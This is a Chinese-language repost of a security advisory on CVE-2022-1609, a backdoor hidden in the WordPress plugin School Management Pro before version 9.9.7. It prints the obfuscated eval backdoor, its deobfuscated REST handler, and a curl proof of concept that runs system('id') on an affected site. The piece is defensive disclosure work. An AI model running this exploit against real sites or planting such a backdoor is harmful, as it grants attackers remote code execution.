WordPress学校管理插件存在后门School Management Pro backdoor

WordPress学校管理插件存在后门School Management Pro backdoor

名为“School Management Pro”的 WordPress 插件的多个版本隐藏了一个后门,可以让攻击者完全控制易受攻击的网站。

该问题在 9.9.7 之前的高级版本中发现,已被分配 CVE 标识符CVE-2022-1609严重程度为 10 分(满分 10 分)

Jetpack 的 Harald Eilertsen在周五的一篇文章中,该后门被认为自 8.9 版以来就存在,它使“未经身份验证的攻击者能够在安装了插件的网站上执行任意 PHP 代码” 。

由一家名为Weblizar的印度公司开发的学校管理被称为“管理完整的学校运营”的 WordPress 插件。它还声称其高级和免费 WordPress 主题和插件的客户超过 340,000 名。

这家 WordPress 安全公司指出,在收到插件许可证检查代码中存在严重混淆代码的警报后,它于 5 月 4 日发现了该植入物。不包含许可代码的免费版学校管理插件不受影响

虽然后门已被删除,但后门的确切来源仍不清楚,供应商表示“他们不知道代码何时或如何进入他们的软件。”

建议插件的客户更新到最新版本 (9.9.7) 以防止主动利用尝试。

WordPress学校管理插件存在后门School Management Pro backdoor

漏洞分析

来自 Weblizar 的 WordPress 插件“The School Management Pro”的9.9.7之前的版本包含一个后门,允许未经身份验证的攻击者在安装了该插件的站点上执行任意 PHP 代码。如果您的站点上安装了早期版本,我们建议立即升级到 9.9.7 或更高版本。这是一个关键的安全问题。

细节:

  • 插件名称:学校管理专业版(The School Management Pro)
  • 插件 slug: school-management-proschool-management-pro-9.9.6school-management-pro-9.9.5the-school-management, 等
  • 供应商:Weblizar
  • 受影响的版本:< 9.9.7
  • CVE:CVE-2022-1609
  • CVSS 分数:10.0(严重)
  • CVSS 矢量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB:https ://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

几周前,发生了一起这样的事件。WordPress.com 升级支持团队就在多个站点的插件中发现的一些混淆的、明显是恶意的代码与我们联系。

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

经过两轮微不足道的反混淆,这给出了:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

代码本身并不是那么有趣:它是一个明显的后门注入到插件的许可证检查代码中。它允许任何攻击者在安装了插件的站点上执行任意 PHP 代码,如下面的概念证明(poc)所示:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

这是我们在 nulled 插件中经常看到的那种东西;这种情况经常发生,以至于我们在上一篇文章中已经介绍了一个类似的案例。我们的第一个假设是这里也是如此。网站所有者安装了一个来自阴暗来源的插件。 

但是,我们确信安装的插件是直接从供应商处收到的。供应商也很快证实了这一点,在意识到它的存在后删除了有问题的代码。

我们试图从供应商那里获得更多关于后门何时被注入、哪些版本受到影响以及代码最初是如何进入插件的信息。这项努力没有成功,因为供应商表示他们不知道代码何时或如何进入他们的软件。

我们至少在我们的托管系统中看到了包含后门的 8.9 版本,但由于我们没有关于后门何时首次出现的任何明确信息,我们必须假设 9.9.7 之前的任何版本都受到影响。

插件在许多不同的 slug 下运行,通常使用包含版本号的 slug,检测和警告问题变得更加复杂。在我们的托管系统中,我们至少看到了以下变体:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

来自 WordPress.org 插件存储库的免费版本不包含许可代码,也不受此后门的影响。

时间线

2022-05-04:升级后的 WordPress.com 支持团队发现了注入的代码,并联系 Jetpack Scan 以分析和验证发现。在确认这是一个后门后,他们通知了供应商。

2022-05-05:供应商确认注入的代码确实在他们的发行版中,并为我们提供了删除后门的 9.9.7 版本。我们确认它是干净的。

2022-05-06:供应商积极向其客户分发 9.9.7 版本并鼓励他们进行更新。

2022-05-10:供应商回答了我们关于他们是否知道后门何时添加的其他问题,但声称他们不知道。他们确实提供了以前的版本 9.9.4,其中包括后门。

结论

我们建议任何安装了 The School Management Pro 9.9.7 之前版本的站点立即升级。

在 Jetpack,我们努力确保您的网站免受此类漏洞的影响。我们建议您为您的站点制定一个安全计划,其中包括恶意文件扫描和备份。Jetpack Security是一种出色的 WordPress 安全选项,可确保您的网站和访问者的安全。

CVE-2022-1609 poc

curl -d 'blowfish=1' -d "blowf=system('id');" 'https://examples.com/wp-json/am-member/license' 

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注